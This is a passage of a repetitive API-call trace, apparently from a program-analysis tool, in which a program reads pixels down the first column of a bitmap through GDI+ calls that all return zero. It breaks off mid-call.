[0225.379] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=78, color=0x636e0f0) returned 0x0 [0225.379] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.379] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.380] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=79, color=0x636e0f0) returned 0x0 [0225.380] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.380] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.380] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=80, color=0x636e0f0) returned 0x0 [0225.380] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.380] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.380] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=81, color=0x636e0f0) returned 0x0 [0225.380] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.380] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.380] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=82, color=0x636e0f0) returned 0x0 [0225.380] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.380] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.380] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=83, color=0x636e0f0) returned 0x0 [0225.380] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.380] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.380] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=84, color=0x636e0f0) returned 0x0 [0225.380] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.380] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.380] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=85, color=0x636e0f0) returned 0x0 [0225.380] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.380] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.380] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=86, color=0x636e0f0) returned 0x0 [0225.380] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.380] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.380] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=87, color=0x636e0f0) returned 0x0 [0225.380] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.380] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.380] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=88, color=0x636e0f0) returned 0x0 [0225.380] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.380] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.380] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=89, color=0x636e0f0) returned 0x0 [0225.380] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.381] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.381] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=90, color=0x636e0f0) returned 0x0 [0225.381] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.381] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.381] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=91, color=0x636e0f0) returned 0x0 [0225.381] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.381] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.381] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=92, color=0x636e0f0) returned 0x0 [0225.381] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.381] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.381] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=93, color=0x636e0f0) returned 0x0 [0225.381] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.381] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.381] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=94, color=0x636e0f0) returned 0x0 [0225.381] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.381] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.381] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=95, color=0x636e0f0) returned 0x0 [0225.381] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.381] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.381] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=96, color=0x636e0f0) returned 0x0 [0225.381] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.381] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.381] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=97, color=0x636e0f0) returned 0x0 [0225.381] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.381] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.381] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=98, color=0x636e0f0) returned 0x0 [0225.381] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.381] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.381] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=99, color=0x636e0f0) returned 0x0 [0225.381] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.381] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.381] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=100, color=0x636e0f0) returned 0x0 [0225.381] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.382] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.382] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=101, color=0x636e0f0) returned 0x0 [0225.382] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.382] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.382] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=102, color=0x636e0f0) returned 0x0 [0225.382] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.382] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.382] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=103, color=0x636e0f0) returned 0x0 [0225.382] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.382] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.382] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=104, color=0x636e0f0) returned 0x0 [0225.382] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.382] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.382] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=105, color=0x636e0f0) returned 0x0 [0225.382] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.382] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.382] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=106, color=0x636e0f0) returned 0x0 [0225.382] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.382] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.382] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=107, color=0x636e0f0) returned 0x0 [0225.382] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.382] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.382] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=108, color=0x636e0f0) returned 0x0 [0225.382] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.382] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.382] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=109, color=0x636e0f0) returned 0x0 [0225.382] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.382] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.382] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=110, color=0x636e0f0) returned 0x0 [0225.382] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.382] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.382] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=111, color=0x636e0f0) returned 0x0 [0225.382] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.382] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.382] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=112, color=0x636e0f0) returned 0x0 [0225.382] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.383] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.383] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=113, color=0x636e0f0) returned 0x0 [0225.383] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.383] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.383] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=114, color=0x636e0f0) returned 0x0 [0225.383] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.383] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.383] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=115, color=0x636e0f0) returned 0x0 [0225.383] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.383] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.383] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=116, color=0x636e0f0) returned 0x0 [0225.383] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.383] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.383] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=117, color=0x636e0f0) returned 0x0 [0225.383] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.383] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.384] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=118, color=0x636e0f0) returned 0x0 [0225.384] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.384] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.384] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=119, color=0x636e0f0) returned 0x0 [0225.384] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.384] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.384] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=120, color=0x636e0f0) returned 0x0 [0225.384] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.384] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.384] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=121, color=0x636e0f0) returned 0x0 [0225.384] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.384] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.384] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=122, color=0x636e0f0) returned 0x0 [0225.384] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.384] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.384] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=123, color=0x636e0f0) returned 0x0 [0225.384] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.384] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.384] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=124, color=0x636e0f0) returned 0x0 [0225.384] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.384] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.384] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=125, color=0x636e0f0) returned 0x0 [0225.384] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.384] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.384] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=126, color=0x636e0f0) returned 0x0 [0225.384] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.384] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.385] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=127, color=0x636e0f0) returned 0x0 [0225.385] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.385] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.385] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=128, color=0x636e0f0) returned 0x0 [0225.385] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.385] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.385] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=129, color=0x636e0f0) returned 0x0 [0225.385] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.385] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.385] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=130, color=0x636e0f0) returned 0x0 [0225.385] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.385] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.385] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=131, color=0x636e0f0) returned 0x0 [0225.385] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.385] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.385] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=132, color=0x636e0f0) returned 0x0 [0225.385] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.385] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.385] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=133, color=0x636e0f0) returned 0x0 [0225.385] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.385] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.385] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=134, color=0x636e0f0) returned 0x0 [0225.385] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.385] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.385] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=135, color=0x636e0f0) returned 0x0 [0225.385] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.385] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.385] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=136, color=0x636e0f0) returned 0x0 [0225.385] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.385] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.385] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=137, color=0x636e0f0) returned 0x0 [0225.385] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.385] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.385] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=138, color=0x636e0f0) returned 0x0 [0225.385] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.386] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.386] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=139, color=0x636e0f0) returned 0x0 [0225.386] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.386] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.386] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=140, color=0x636e0f0) returned 0x0 [0225.386] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.386] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.386] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=141, color=0x636e0f0) returned 0x0 [0225.386] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.386] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.386] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=142, color=0x636e0f0) returned 0x0 [0225.386] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.386] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.386] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=143, color=0x636e0f0) returned 0x0 [0225.386] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.386] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.386] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=144, color=0x636e0f0) returned 0x0 [0225.386] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.386] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.386] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=145, color=0x636e0f0) returned 0x0 [0225.386] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.386] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.386] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=146, color=0x636e0f0) returned 0x0 [0225.386] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.386] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.386] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=147, color=0x636e0f0) returned 0x0 [0225.386] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.386] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.386] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=148, color=0x636e0f0) returned 0x0 [0225.386] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.386] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.386] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=149, color=0x636e0f0) returned 0x0 [0225.386] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.386] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.386] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=150, color=0x636e0f0) returned 0x0 [0225.387] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.387] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.387] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=151, color=0x636e0f0) returned 0x0 [0225.387] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.387] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.387] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=152, color=0x636e0f0) returned 0x0 [0225.387] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.387] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.387] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=153, color=0x636e0f0) returned 0x0 [0225.387] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.387] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.387] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=154, color=0x636e0f0) returned 0x0 [0225.387] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.387] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.387] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=155, color=0x636e0f0) returned 0x0 [0225.387] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.387] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.387] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=156, color=0x636e0f0) returned 0x0 [0225.387] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.387] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.387] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=157, color=0x636e0f0) returned 0x0 [0225.387] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.387] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.387] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=158, color=0x636e0f0) returned 0x0 [0225.387] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.387] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.387] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=159, color=0x636e0f0) returned 0x0 [0225.387] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.387] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.387] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=160, color=0x636e0f0) returned 0x0 [0225.387] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.387] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.387] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=161, color=0x636e0f0) returned 0x0 [0225.387] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.387] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.388] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=162, color=0x636e0f0) returned 0x0 [0225.388] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.388] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.388] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=163, color=0x636e0f0) returned 0x0 [0225.388] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.388] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.388] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=164, color=0x636e0f0) returned 0x0 [0225.388] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.388] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.388] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=165, color=0x636e0f0) returned 0x0 [0225.388] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.388] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.388] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=166, color=0x636e0f0) returned 0x0 [0225.388] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.388] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.388] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=167, color=0x636e0f0) returned 0x0 [0225.388] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.388] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.388] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=168, color=0x636e0f0) returned 0x0 [0225.388] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.388] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.388] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=169, color=0x636e0f0) returned 0x0 [0225.388] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.388] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.388] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=170, color=0x636e0f0) returned 0x0 [0225.388] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.388] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.388] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=171, color=0x636e0f0) returned 0x0 [0225.388] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.388] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.388] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=172, color=0x636e0f0) returned 0x0 [0225.388] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.388] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.388] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=173, color=0x636e0f0) returned 0x0 [0225.388] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.389] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.389] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=174, color=0x636e0f0) returned 0x0 [0225.389] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.389] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.389] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=175, color=0x636e0f0) returned 0x0 [0225.389] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.389] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.389] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=176, color=0x636e0f0) returned 0x0 [0225.389] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.389] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.389] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=177, color=0x636e0f0) returned 0x0 [0225.389] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.389] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.389] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=178, color=0x636e0f0) returned 0x0 [0225.389] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.389] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.389] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=179, color=0x636e0f0) returned 0x0 [0225.389] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.389] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.389] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=180, color=0x636e0f0) returned 0x0 [0225.389] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.389] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.389] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=181, color=0x636e0f0) returned 0x0 [0225.389] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.389] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.389] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=182, color=0x636e0f0) returned 0x0 [0225.389] GdipGetImageWidth (image=0x4da5040, width=0x636e0e0) returned 0x0 [0225.389] GdipGetImageHeight (image=0x4da5040, height=0x636e0e0) returned 0x0 [0225.389] GdipBitmapGetPixel (bitmap=0x4da5040, x=0, y=183, color=0x636e0f0) returned 0x0 [0225.389] GdipGetImageWidth (image=0x4da5040, 